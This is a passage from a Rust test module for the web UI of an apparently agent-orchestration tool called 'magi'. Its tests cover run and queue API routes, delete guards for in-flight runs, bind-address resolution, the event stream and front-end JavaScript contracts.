6683 .with_launch(launch_knocking_on_the_way_out);
6684 let looping = ui.looping();
6685 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
6686 .await
6687 .expect("bind loopback");
6688 let addr = listener.local_addr().expect("local addr");
6689 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
6690 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
6691
6692 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
6693 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
6694
6695 let bound = std::sync::Mutex::new(None);
6698 hand_over(home.path(), &looping, served, || {
6699 let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
6700 *bound.lock().expect("bound") = Some(attempt);
6701 Ok(())
6702 })
6703 .await
6704 .expect("hand over");
6705
6706 assert_eq!(
6707 *PARK_HEARD.lock().expect("park heard"),
6708 Some(200),
6709 "the deck must answer while the loop is parking"
6710 );
6711 let attempt = bound
6712 .lock()
6713 .expect("bound")
6714 .take()
6715 .expect("the successor was started");
6716 assert!(
6717 attempt.is_ok(),
6718 "and the address must be free by the time it is: {attempt:?}"
6719 );
6720 }
6721
6722 #[tokio::test]
6723 async fn a_newer_daemon_status_file_still_renders() {
6724 let f = Fixture::start().await;
6725 std::fs::write(
6728 f.home.path().join("daemon.json"),
6729 serde_json::json!({
6730 "schema": 2,
6731 "updated_at": Timestamp::now().to_string(),
6732 "idle": true,
6733 "surprise": { "nested": [1, 2, 3] },
6734 })
6735 .to_string(),
6736 )
6737 .expect("write daemon.json");
6738
6739 let health = f.get("/api/health").await;
6740
6741 assert_eq!(health.status, 200);
6742 assert_eq!(health.json()["daemon"]["running"], true);
6743 }
6744
6745 #[tokio::test]
6746 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6747 let f = Fixture::start().await;
6748 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6749 let broken = f.runs().join("20260902-140502-bad");
6750 std::fs::create_dir_all(&broken).expect("run dir");
6751 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6752
6753 let list = f.get("/api/runs").await;
6754 let detail = f.get("/api/runs/20260902-140502-bad").await;
6755
6756 assert_eq!(list.status, 200);
6757 let listed = list.json();
6758 let ids: Vec<&str> = listed
6759 .as_array()
6760 .expect("an array")
6761 .iter()
6762 .map(|r| r["id"].as_str().expect("an id"))
6763 .collect();
6764 assert_eq!(
6765 ids,
6766 vec!["20260902-140501-good"],
6767 "one unreadable run must not cost the operator the whole history"
6768 );
6769 assert_eq!(detail.status, 500);
6770 assert!(
6771 detail.json()["error"]
6772 .as_str()
6773 .is_some_and(|e| e.contains("run.json")),
6774 "the failure names the file to look at: {}",
6775 detail.body
6776 );
6777 let health = f.get("/api/health").await;
6781 assert_eq!(health.json()["runs_unreadable"], 1);
6782 }
6783
6784 #[tokio::test]
6785 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6786 let f = Fixture::start().await;
6787 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6788
6789 let summary = f.get("/api/runs").await.json();
6790 let row = &summary[0];
6791 assert_eq!(row["short"], "a1b2");
6792 assert_eq!(row["status"], "ready");
6793 assert_eq!(row["done"], true);
6794 assert_eq!(row["title"], "Add a web UI");
6795 assert_eq!(row["repo_name"], "magi");
6796 assert_eq!(row["judges"], 3);
6797 assert_eq!(row["winner"], Value::Null);
6798 assert_eq!(row["reviews"], 0);
6799
6800 let detail = f.get("/api/runs/a1b2").await;
6803 assert_eq!(detail.status, 200);
6804 assert_eq!(detail.json()["base_branch"], "main");
6805 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6806 }
6807
6808 #[tokio::test]
6816 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6817 let f = Fixture::start().await;
6818
6819 let mut none_run = RunState::new(
6820 PathBuf::from("/repo/magi"),
6821 "main".to_owned(),
6822 "0123456789abcdef".to_owned(),
6823 "Add a web UI".to_owned(),
6824 Config::default(),
6825 );
6826 none_run.id = "20260902-140503-none".to_owned();
6827 none_run.status = RunStatus::Ready;
6828 none_run.merge = Some(crate::run::MergeOutcome {
6829 mode: crate::config::MergeMode::None,
6830 ok: true,
6831 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6832 });
6833 write_state(&f.runs(), &none_run);
6834
6835 let mut pr_run = RunState::new(
6836 PathBuf::from("/repo/magi"),
6837 "main".to_owned(),
6838 "0123456789abcdef".to_owned(),
6839 "Add a web UI".to_owned(),
6840 Config::default(),
6841 );
6842 pr_run.id = "20260902-140504-prcl".to_owned();
6843 pr_run.status = RunStatus::Ready;
6844 pr_run.merge = Some(crate::run::MergeOutcome {
6845 mode: crate::config::MergeMode::Pr,
6846 ok: false,
6847 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6848 });
6849 write_state(&f.runs(), &pr_run);
6850
6851 let summary = f.get("/api/runs").await.json();
6852 let rows: std::collections::HashMap<&str, &Value> = summary
6853 .as_array()
6854 .expect("an array")
6855 .iter()
6856 .map(|r| (r["id"].as_str().expect("an id"), r))
6857 .collect();
6858 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6859 assert_eq!(
6860 rows[none_run.id.as_str()]["unmerged_by_design"],
6861 true,
6862 "a mode-none Ready must be flagged in the list"
6863 );
6864 assert_eq!(
6865 rows[pr_run.id.as_str()]["unmerged_by_design"],
6866 false,
6867 "a Ready reached by a closed pull request is a different case"
6868 );
6869
6870 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6871 assert_eq!(none_detail["status"], "ready");
6872 assert_eq!(none_detail["unmerged_by_design"], true);
6873
6874 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6875 assert_eq!(pr_detail["unmerged_by_design"], false);
6876 }
6877
6878 #[tokio::test]
6883 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6884 let f = Fixture::start().await;
6885 let id = "20260902-140502-bbbb";
6889 let mut state = RunState::new(
6890 PathBuf::from("/repo/magi"),
6891 "main".to_owned(),
6892 "0123456789abcdef".to_owned(),
6893 "Add a web UI".to_owned(),
6894 Config::default(),
6895 );
6896 state.id = id.to_owned();
6897 state.status = RunStatus::Judging;
6898 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6899 let dir = f.runs().join(id);
6900 std::fs::create_dir_all(&dir).expect("run dir");
6901 std::fs::write(
6902 dir.join("run.json"),
6903 serde_json::to_string_pretty(&state).expect("serialize run"),
6904 )
6905 .expect("write run.json");
6906
6907 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6913 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6914 assert_eq!(cold["live"], "unknown", "{cold}");
6915
6916 write_daemon(f.home.path(), Timestamp::now());
6919 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6920 assert_eq!(warm["live"], "live", "{warm}");
6921 }
6922
6923 #[tokio::test]
6930 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
6931 let f = Fixture::start().await;
6932 let id = "20260922-090000-cccc";
6933 let mut state = RunState::new(
6934 PathBuf::from("/repo/magi"),
6935 "main".to_owned(),
6936 "0123456789abcdef".to_owned(),
6937 "Review only".to_owned(),
6938 Config::default(),
6939 );
6940 state.id = id.to_owned();
6941 state.status = RunStatus::Reviewing;
6942 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
6943 state.driver_pid = Some(std::process::id());
6949 state.driver_started_at = Some(
6950 crate::proc::process_started_at(std::process::id())
6951 .expect("this test process's own start time must be queryable"),
6952 );
6953 let dir = f.runs().join(id);
6954 std::fs::create_dir_all(&dir).expect("run dir");
6955 std::fs::write(
6956 dir.join("run.json"),
6957 serde_json::to_string_pretty(&state).expect("serialize run"),
6958 )
6959 .expect("write run.json");
6960
6961 let detail = f.get(&format!("/api/runs/{id}")).await.json();
6962 assert_eq!(detail["live"], "live", "{detail}");
6963 }
6964
6965 #[tokio::test]
6971 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
6972 let f = Fixture::start().await;
6973 let id = "20260922-090100-dddd";
6974 let mut state = RunState::new(
6975 PathBuf::from("/repo/magi"),
6976 "main".to_owned(),
6977 "0123456789abcdef".to_owned(),
6978 "Review only".to_owned(),
6979 Config::default(),
6980 );
6981 state.id = id.to_owned();
6982 state.status = RunStatus::Reviewing;
6983 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
6984 state.driver_pid = Some(std::process::id());
6989 state.driver_started_at = Some("not-this-processes-real-start-time".to_owned());
6990 let dir = f.runs().join(id);
6991 std::fs::create_dir_all(&dir).expect("run dir");
6992 std::fs::write(
6993 dir.join("run.json"),
6994 serde_json::to_string_pretty(&state).expect("serialize run"),
6995 )
6996 .expect("write run.json");
6997
6998 let detail = f.get(&format!("/api/runs/{id}")).await.json();
6999 assert_eq!(detail["live"], "dead", "{detail}");
7000 }
7001
7002 #[tokio::test]
7003 async fn the_run_list_is_newest_first_and_honours_a_limit() {
7004 let f = Fixture::start().await;
7005 for id in [
7006 "20260902-140501-aaaa",
7007 "20260902-140502-bbbb",
7008 "20260902-140503-cccc",
7009 ] {
7010 write_run(&f.runs(), id, RunStatus::Merged);
7011 }
7012
7013 let all = f.get("/api/runs").await.json();
7014 let capped = f.get("/api/runs?limit=2").await.json();
7015
7016 assert_eq!(all[0]["id"], "20260902-140503-cccc");
7017 assert_eq!(all.as_array().map(Vec::len), Some(3));
7018 assert_eq!(capped.as_array().map(Vec::len), Some(2));
7019 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
7020 }
7021
7022 #[tokio::test]
7023 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
7024 let f = Fixture::start().await;
7025 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
7026
7027 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
7028
7029 assert_eq!(res.status, 200);
7030 assert!(
7031 res.headers
7032 .contains("content-type: text/plain; charset=utf-8"),
7033 "a browser must render it, not download it: {}",
7034 res.headers
7035 );
7036 assert!(
7040 res.body.contains("20260902-140501-a1b2"),
7041 "the report is about the run that was asked for: {}",
7042 res.body
7043 );
7044 }
7045
7046 #[tokio::test]
7047 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
7048 let f = Fixture::start().await;
7049
7050 let html = f.get("/").await;
7051 let css = f.get("/app.css").await;
7052 let js = f.get("/app.js").await;
7053
7054 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
7055 assert!(
7056 html.headers
7057 .contains("content-type: text/html; charset=utf-8")
7058 );
7059 assert!(css.headers.contains("content-type: text/css"));
7060 assert!(js.headers.contains("content-type: text/javascript"));
7061 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
7062 }
7063
7064 #[test]
7065 fn review_rounds_label_a_distinct_verified_head() {
7066 assert!(APP_JS.contains("round.verified_head"));
7067 assert!(APP_JS.contains("verified HEAD"));
7068 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
7069 }
7070
7071 #[test]
7072 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
7073 assert!(APP_JS.contains("blocked: { glyph:"));
7077 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
7078
7079 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
7083 assert!(
7084 APP_JS.contains(
7085 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
7086 ),
7087 "the note line must name what a blocked task is waiting on, not just that it is blocked"
7088 );
7089 assert!(APP_JS.contains("if (status === \"blocked\") {"));
7093
7094 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
7098 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
7099 assert!(
7100 APP_JS.contains("location.hash = \"#/questions\";"),
7101 "a question node must jump to the Questions screen, not pretend to be a task"
7102 );
7103
7104 assert!(APP_JS.contains("Resolved questions"));
7107 assert!(APP_JS.contains("r.answersList.append("));
7108 assert!(APP_CSS.contains(".task-answers"));
7109 }
7110
7111 #[test]
7112 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
7113 assert!(
7114 APP_JS.contains("round.verified_head !== round.head"),
7115 "a round that verified an earlier commit must be visibly distinct from one that \
7116 verified the head reviewers are looking at now"
7117 );
7118 assert!(
7119 APP_JS.contains("round.verified_at"),
7120 "when a check ran must be on the wire, not just which commit"
7121 );
7122 assert!(
7123 APP_JS.contains("resource_blocked"),
7124 "a command magi never got to run (shared build cache contention) must not render \
7125 the same as a command that ran and failed"
7126 );
7127 }
7128
7129 #[tokio::test]
7130 async fn the_change_stream_announces_the_current_revisions_on_connect() {
7131 let f = Fixture::start().await;
7132
7133 let mut socket = tokio::net::TcpStream::connect(f.addr)
7134 .await
7135 .expect("connect");
7136 socket
7137 .write_all(
7138 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
7139 )
7140 .await
7141 .expect("write request");
7142
7143 let mut seen = String::new();
7146 let mut buf = [0u8; 1024];
7147 while !seen.contains("event: change") {
7148 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
7149 .await
7150 .expect("the stream must speak within five seconds")
7151 .expect("read");
7152 assert!(read > 0, "the server closed the change stream: {seen}");
7153 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
7154 }
7155
7156 assert!(
7157 seen.to_lowercase()
7158 .contains("content-type: text/event-stream"),
7159 "the browser only reconnects automatically for a real SSE stream: {seen}"
7160 );
7161 let data = seen
7162 .lines()
7163 .find_map(|l| l.strip_prefix("data:"))
7164 .expect("a data line");
7165 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
7166 assert!(
7167 payload["queue_rev"].is_u64()
7168 && payload["runs_rev"].is_u64()
7169 && payload["questions_rev"].is_u64()
7170 && payload["talks_rev"].is_u64()
7171 && payload["loop_rev"].is_u64(),
7172 "the client needs one revision per store to know what to refetch, \
7173 and `talks_rev` is the only notification a standing talk gets - a \
7174 phone whose radio slept through a turn learns about it here, as \
7175 does one whose operator started the loop from another device: \
7176 {payload}"
7177 );
7178
7179 let health = f.get("/api/health").await.json();
7186 for key in [
7187 "queue_rev",
7188 "runs_rev",
7189 "questions_rev",
7190 "talks_rev",
7191 "loop_rev",
7192 ] {
7193 assert!(
7194 health[key].is_u64(),
7195 "health is the change stream's fallback and is missing `{key}`: {health}"
7196 );
7197 }
7198 }
7199
7200 #[tokio::test]
7201 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
7202 let f = Fixture::start().await;
7203 let before = f.get("/api/health").await.json()["talks_rev"]
7204 .as_u64()
7205 .expect("talks_rev");
7206
7207 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
7208 std::thread::sleep(Duration::from_millis(10));
7209 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
7210 on_disk.turns.push(crate::talk::Turn {
7211 who: crate::talk::Who::Operator,
7212 body: "a new turn".to_owned(),
7213 at: Timestamp::now(),
7214 attachments: Vec::new(),
7215 });
7216 f.talks().put(&mut on_disk).expect("record a turn");
7217
7218 let after = f.get("/api/health").await.json()["talks_rev"]
7219 .as_u64()
7220 .expect("talks_rev");
7221 assert_ne!(
7222 before, after,
7223 "a phone must be able to notice a talk's reply without polling every store"
7224 );
7225 }
7226
7227 #[test]
7228 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7229 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7233 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7234 }
7235 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7236 assert!("everywhere".parse::<Bind>().is_err());
7237 }
7238
7239 #[test]
7240 fn an_explicit_bind_address_is_taken_verbatim() {
7241 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7242
7243 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7244
7245 assert_eq!(addr, asked);
7246 assert!(
7247 warning.is_none(),
7248 "an operator who named an address gets no lecture"
7249 );
7250 }
7251
7252 #[test]
7253 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7254 let (addr, warning) = resolve_bind(&Bind::Auto);
7255
7256 match addr {
7263 IpAddr::V4(ip) if is_tailnet(&ip) => {
7264 assert!(warning.is_none(), "a tailnet address needs no warning");
7265 }
7266 other => {
7267 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7268 let warning = warning.expect("a fallback has to explain itself");
7269 assert!(
7270 warning.contains("127.0.0.1") && warning.contains("local-only"),
7271 "the warning says what happened and what it costs: {warning}"
7272 );
7273 }
7274 }
7275 }
7276
7277 #[test]
7278 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7279 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7283 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7284 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7285 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7286 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7287 }
7288
7289 #[test]
7290 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7291 let ids = vec![
7292 "20260902-140501-aaaa".to_owned(),
7293 "20260902-140502-aabb".to_owned(),
7294 ];
7295
7296 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7297 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7298 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7299
7300 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7301 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7302 assert_eq!(short, "20260902-140502-aabb");
7303 }
7304 #[tokio::test]
7305 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7306 let fx = Fixture::start().await;
7312 let id = panel(
7313 &fx,
7314 "<img src=\"shot.png\">",
7315 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7316 );
7317
7318 let doc = fx
7320 .get(&format!("/api/questions/{id}/panel/index.html"))
7321 .await;
7322 assert_eq!(doc.status, 200, "{}", doc.body);
7323 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7324
7325 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7326 assert_eq!(sibling.status, 200, "{}", sibling.body);
7327 assert_eq!(sibling.header("content-type"), Some("image/png"));
7328 assert_eq!(
7329 sibling.header("content-security-policy"),
7330 Some(PANEL_CSP),
7331 "the sibling route must carry the same policy as the asset route"
7332 );
7333
7334 assert_eq!(
7337 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7338 200
7339 );
7340 }
7341
7342 #[test]
7343 fn runs_revision_moves_when_deleting_an_older_run() {
7344 let temp = TempDir::new().expect("tempdir");
7345 let runs = temp.path().join("runs");
7346 std::fs::create_dir_all(&runs).expect("create runs dir");
7347
7348 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7349
7350 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7351 std::thread::sleep(Duration::from_millis(10));
7352 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7353
7354 let rev_before = runs_revision(&runs);
7355 assert!(rev_before > 0);
7356
7357 let old_dir = runs.join("20260901-100000-old1");
7358 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7359
7360 let rev_after = runs_revision(&runs);
7361 assert_ne!(
7362 rev_before, rev_after,
7363 "deleting an older run must change the revision so other clients see the deletion"
7364 );
7365 }
7366
7367 fn write_state(runs: &FsPath, state: &RunState) {
7372 let dir = runs.join(&state.id);
7373 std::fs::create_dir_all(&dir).expect("run dir");
7374 std::fs::write(
7375 dir.join("run.json"),
7376 serde_json::to_string_pretty(state).expect("serialize run"),
7377 )
7378 .expect("write run.json");
7379 }
7380
7381 #[test]
7386 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7387 let temp = TempDir::new().expect("tempdir");
7388 let runs = temp.path().join("runs");
7389 std::fs::create_dir_all(&runs).expect("create runs dir");
7390 let mut state = RunState::new(
7391 PathBuf::from("/repo/magi"),
7392 "main".to_owned(),
7393 "0123456789abcdef".to_owned(),
7394 "task".to_owned(),
7395 Config::default(),
7396 );
7397 state.id = "20260902-100000-c0de".to_owned();
7398 write_state(&runs, &state);
7399
7400 let rev_idle = runs_revision(&runs);
7401 std::thread::sleep(Duration::from_millis(10));
7402 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7403 write_state(&runs, &state);
7404 let rev_started = runs_revision(&runs);
7405 assert_ne!(
7406 rev_idle, rev_started,
7407 "a seat starting must move the revision"
7408 );
7409
7410 std::thread::sleep(Duration::from_millis(10));
7411 state.seat_finished("judge-1");
7412 write_state(&runs, &state);
7413 let rev_finished = runs_revision(&runs);
7414 assert_ne!(
7415 rev_started, rev_finished,
7416 "and clearing it again must move the revision a second time"
7417 );
7418 }
7419
7420 #[tokio::test]
7421 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
7422 let fx = Fixture::start().await;
7427 let q = fx.queue();
7428
7429 let mut t = Task::new(
7430 "Task".to_owned(),
7431 "Instruction".to_owned(),
7432 PathBuf::from("/repo"),
7433 Source::Human,
7434 );
7435 t.block(
7436 vec!["20260101-000000-dead".to_owned()],
7437 Some("waiting on Task 1".to_owned()),
7438 );
7439 t.answers.push(crate::queue::AnsweredQuestion {
7440 question: "Which backend?".to_owned(),
7441 answer: "SQLite".to_owned(),
7442 });
7443 q.put(&mut t).expect("put t");
7444
7445 let res = fx.get("/api/queue").await;
7446 assert_eq!(res.status, 200);
7447 let list = res.json();
7448 let view = list
7449 .as_array()
7450 .expect("array")
7451 .iter()
7452 .find(|v| v["id"] == t.id)
7453 .expect("task in list");
7454 assert_eq!(view["status_str"], "blocked");
7455 assert_eq!(
7456 view["blocked_by"],
7457 serde_json::json!(["20260101-000000-dead"])
7458 );
7459 assert_eq!(view["block_reason"], "waiting on Task 1");
7460 assert_eq!(view["answers"][0]["question"], "Which backend?");
7461 assert_eq!(view["answers"][0]["answer"], "SQLite");
7462
7463 let res = fx
7467 .post(&format!("/api/queue/{}/hold", t.short()), None)
7468 .await;
7469 assert_eq!(res.status, 200);
7470 let held = res.json();
7471 assert_eq!(held["status_str"], "held");
7472 assert_eq!(held["blocked_by"], serde_json::json!([]));
7473 assert!(held["block_reason"].is_null());
7474 assert_eq!(held["answers"][0]["answer"], "SQLite");
7475 }
7476
7477 #[tokio::test]
7478 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7479 let fx = Fixture::start().await;
7480 let q = fx.queue();
7481
7482 let mut t1 = Task::new(
7484 "Task 1".to_owned(),
7485 "Instruction 1".to_owned(),
7486 PathBuf::from("/repo"),
7487 Source::Human,
7488 );
7489 let run_id = "20260901-000000-r111";
7490 t1.runs.push(run_id.to_owned());
7491 write_run(&fx.runs(), run_id, RunStatus::Merged);
7492 q.put(&mut t1).expect("put t1");
7493
7494 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7496 assert_eq!(res.status, 204);
7497 assert!(res.body.is_empty(), "204 No Content has no body");
7498 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7499 assert!(
7500 fx.runs().join(run_id).exists(),
7501 "run directory must not be deleted when its task is deleted"
7502 );
7503
7504 let mut t2 = Task::new(
7506 "Task 2".to_owned(),
7507 "Instruction 2".to_owned(),
7508 PathBuf::from("/repo"),
7509 Source::Human,
7510 );
7511 t2.status = TaskStatus::Running;
7512 q.put(&mut t2).expect("put t2");
7513 let mut beat = crate::daemon::Status::new();
7514 beat.current = vec![crate::daemon::Current {
7515 task: t2.id.clone(),
7516 run: "20260901-000000-r222".to_owned(),
7517 }];
7518 beat.updated_at = jiff::Timestamp::now();
7519 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7520 .expect("publish a heartbeat");
7521 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7522 assert_eq!(res.status, 409);
7523 assert!(
7524 res.json()["error"]
7525 .as_str()
7526 .unwrap()
7527 .contains("live daemon")
7528 );
7529 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7530
7531 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7537 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7538 .expect("leave a stale heartbeat");
7539 let mut t3 = Task::new(
7540 "Task 3".to_owned(),
7541 "Instruction 3".to_owned(),
7542 PathBuf::from("/repo"),
7543 Source::Human,
7544 );
7545 t3.status = TaskStatus::Running;
7546 q.put(&mut t3).expect("put t3");
7547 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7548 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7549 assert_eq!(res.status, 204);
7550 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7551 assert!(
7552 q.claim(&t3.id).is_ok(),
7553 "the stale lock went with it, so the id is claimable again"
7554 );
7555
7556 let res = fx.delete("/api/queue/nonexistent").await;
7558 assert_eq!(res.status, 404);
7559 }
7560
7561 #[tokio::test]
7562 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7563 let fx = Fixture::start().await;
7564 let runs = fx.runs();
7565
7566 let run_id = "20260901-000000-fold";
7568 let mut state = RunState::new(
7569 PathBuf::from("/repo"),
7570 "main".to_owned(),
7571 "abc".to_owned(),
7572 "instruction".to_owned(),
7573 Config::default(),
7574 );
7575 state.id = run_id.to_owned();
7576 state.status = RunStatus::Merged;
7577 state.candidates.push(crate::run::Candidate {
7578 index: 0,
7579 label: 'A',
7580 agent: "a".to_owned(),
7581 branch: "b".to_owned(),
7582 worktree: PathBuf::from("/w"),
7583 summary: String::new(),
7584 stat: String::new(),
7585 files: 1,
7586 commits: 1,
7587 empty: false,
7588 failed: None,
7589 verified_noop: None,
7590 duration_ms: 0,
7591 folded: true,
7592 });
7593 let dir = runs.join(run_id);
7594 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7595 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7596 .expect("write artifact");
7597 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7598 .expect("write run.json");
7599
7600 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7602 assert_eq!(res.status, 204);
7603 assert!(res.body.is_empty(), "204 has no body");
7604 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7605
7606 let run_running = "20260901-000000-rung";
7611 write_run(&runs, run_running, RunStatus::Prep);
7612 let mut beat = crate::daemon::Status::new();
7613 beat.current = vec![crate::daemon::Current {
7614 task: "20260901-000000-task".to_owned(),
7615 run: run_running.to_owned(),
7616 }];
7617 beat.updated_at = jiff::Timestamp::now();
7618 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7619 .expect("publish a heartbeat");
7620 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7621 assert_eq!(res.status, 409);
7622 assert!(
7623 res.json()["error"]
7624 .as_str()
7625 .unwrap()
7626 .contains("live daemon"),
7627 "the refusal must say who is holding it"
7628 );
7629 assert!(
7630 runs.join(run_running).exists(),
7631 "a run in flight keeps its directory"
7632 );
7633
7634 let run_unfolded = "20260901-000000-unfd";
7636 let mut state2 = RunState::new(
7637 PathBuf::from("/repo"),
7638 "main".to_owned(),
7639 "abc".to_owned(),
7640 "instruction".to_owned(),
7641 Config::default(),
7642 );
7643 state2.id = run_unfolded.to_owned();
7644 state2.status = RunStatus::Ready;
7645 state2.candidates.push(crate::run::Candidate {
7646 index: 0,
7647 label: 'A',
7648 agent: "a".to_owned(),
7649 branch: "b".to_owned(),
7650 worktree: PathBuf::from("/w"),
7651 summary: String::new(),
7652 stat: String::new(),
7653 files: 1,
7654 commits: 1,
7655 empty: false,
7656 failed: None,
7657 verified_noop: None,
7658 duration_ms: 0,
7659 folded: false,
7660 });
7661 let dir2 = runs.join(run_unfolded);
7662 std::fs::create_dir_all(&dir2).expect("create dir2");
7663 std::fs::write(
7664 dir2.join("run.json"),
7665 serde_json::to_string(&state2).unwrap(),
7666 )
7667 .expect("write run.json");
7668
7669 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7670 assert_eq!(res.status, 409);
7671 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7672 assert!(dir2.exists(), "unfolded run directory is kept");
7673
7674 let res = fx.delete("/api/runs/nonexistent").await;
7676 assert_eq!(res.status, 404);
7677 }
7678
7679 #[test]
7680 fn web_ui_delete_contract_in_front_end() {
7681 assert!(APP_JS.contains("deleteRun:"));
7683 assert!(APP_JS.contains("deleteTask:"));
7684
7685 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7687 ..APP_JS.find("function renderRuns").unwrap()];
7688 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7689
7690 assert!(APP_JS.contains("renderRunDelete"));
7692 assert!(APP_JS.contains("runDeleteReason"));
7693 assert!(APP_JS.contains("magi fold"));
7694 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7695
7696 assert!(APP_JS.contains("cancel.focus"));
7698 assert!(APP_JS.contains("armedRunDelete"));
7699 assert!(APP_JS.contains("armedDelete"));
7700
7701 assert!(APP_JS.contains("disabled: status === \"running\""));
7703 }
7704
7705 #[test]
7725 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7726 let build = APP_JS
7727 .find("function createRunCard")
7728 .expect("createRunCard exists");
